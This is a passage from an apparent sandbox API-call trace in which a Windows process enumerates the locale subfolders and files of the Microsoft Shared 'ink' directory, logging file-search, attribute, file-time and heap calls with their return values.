ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0234.837] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0234.837] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0234.838] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.838] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.838] NtClose (Handle=0x1b0) returned 0x0 [0234.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.838] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.838] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.838] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9046d8 [0234.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x901aa8 [0234.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.839] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.839] GetLastError () returned 0x12 [0234.839] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.839] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.839] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.839] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.839] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.839] GetLastError () returned 0x12 [0234.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.839] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.840] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0234.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.840] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.840] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.840] NtClose (Handle=0x1bc) returned 0x0 [0234.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.840] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9046f8 [0234.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9019a0 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.841] GetLastError () returned 0x12 [0234.841] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.841] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.841] GetLastError () returned 0x12 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.841] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.841] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0234.842] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0234.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.842] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0234.842] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x904be0 [0234.842] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x904be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x904be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.842] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x904be0) returned 1 [0234.842] NtClose (Handle=0x1b0) returned 0x0 [0234.842] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.842] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.842] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.842] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904718 [0234.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x904bf8 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.843] GetLastError () returned 0x12 [0234.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.843] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.843] GetLastError () returned 0x12 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.843] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.843] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0234.844] RtlAllocateHeap (HeapHandle=0x4a0000, 